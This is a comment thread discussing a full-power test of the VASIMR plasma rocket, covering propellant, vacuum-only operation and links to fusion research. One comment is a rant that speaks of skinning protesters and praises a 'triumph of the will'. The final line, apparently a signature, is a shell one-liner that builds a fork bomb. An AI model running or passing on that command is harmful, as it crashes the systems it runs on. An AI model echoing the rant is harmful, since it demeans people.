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Plasma Rocket Successful Full Power Test
Matt_dk writes "VASIMR is a new high-power plasma-based space propulsion technology, initially studied by NASA and now being developed privately by Ad Astra. A VASIMR engine could maneuver payloads in space far more efficiently and with much less propellant than today's chemical rockets. Ultimately, VASIMR engines could also greatly shorten robotic and human transit times for missions to Mars and beyond."
I couldn't find an answer in the article, or on the Wikipedia page... are the "reduced reaction mass" requirements for this engine such that constant boost becomes a possibility for longish missions? If so, then this effectively puts the Solar System within reach.
"He who would learn astronomy, and other recondite arts, let him go elsewhere. " -- John Calvin, commenting on Genesis 1
That's what they do. The problem is that when you're doing a fusion reactor, you need to have positive energy yields. With a plasma engine, you just need to be able to propel yourself. So in the short term, I doubt anything will come of this.
However, in the long term, this could be key to getting workable fusion reactors. If the technology for a plasma engine becomes widespread with several independent firms working on it, it's entirely possible that a big breakthrough for fusion reactors will come from research into these engines. If nothing else, this should lead to greater efficiency in the containment fields.
VASIMR is not a conventional rocket and instead uses ionized argon gas as a propellant. Argon gas is inert and thus unreactive; meaning that there's really no serious explosion danger compared to a conventional rocket powered vessel.
Mind you, much like ion drives, it can only be used in a vacuum, making it totally useless for load-lifting object *into* space and really only useful for moving them around while up there. Ion drives have classically been used as station keeping drives on space stations and in deep space probes.
VASIMR is a new high-power plasma-based space propulsion technology
Yeah, if by new, you mean 30 years old...
Only nuclear reactors. RTGs deliver too little power. A Polywell would be nice if it woks.
thegodmovie.com - watch it
So, does anyone know what the lowest possible orbit is one can use that thing from?
One reason ion engines cannot be used from ground to orbit is that they need a vacuum to operate, the other one is that the trust is too low to get into orbit.
With Vasimir however one can get higher trust than with typical ion engines. Could it be possible that suborbital trajectories might be enough?
To get a usable orbit one needs an engine which raises the perigee from the ground to a point outside the atmosphere (I even tried this in Orbiter once), could it do that too?
Je me souviens.
Political problems, bah! The Chinese will do this first, launching a nuclear version that is. They will simply do it and dare the world to do anything about it! Domestic protest, if it occurs in China, will simply be harvested and skinned for their collagen so western women can have skin with the 'high pro glow'. Foreign protest can simply be dealt with by secretly threatening the protester hosting nations with trade repercussions against their bloodsucking co-conspirator industrialists. Look what happens when Canadians protest! See how fast they get absolutely hosed with pepper spray if they dare to breath a word of complaint against Chinese actions...or corporate monopolist actions as well.
Actually I say more power to the Chinese. They have the will to be winners in the world survival game. We in the west have lost our will, and survival will go to those able to achieve the triumph of the will, as then they will prove themselves fit to rule. We have proved ourselves unfit as we are weak and internally conflicted, lacking the guts to survive.
You remind me of D S Savage
http://antichomsky.blogspot.com/2004/07/orwell-vs-proto-chomskyites.html
he said
The pacifists' "championing" of Hitler referred to by Orwell is simply a recognition by us that Hitler and Germany contain a real historical dynamic, whereas we do not. Whereas the rest of the nation is content with calling down obloquy on Hitler's head, we regard this as superficial. Hitler requires, not condemnation, but understanding. This does not mean that we like, or defend him. Persoanlly, I do not care for Hitler. He is, however, "realler" than Chamberlain, Churchill, Cripps, etc, in that he is the vehicle of raw historical forces, whereas they are stuffed dummies...living in unreality. We do not desire a German "victory"...but there would be a profound justice, I feel, however terrible, in a German victory.
Being like him is a very bad thing. George Orwell wrote acidly that "pacifism is objectively pro Fascist".
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;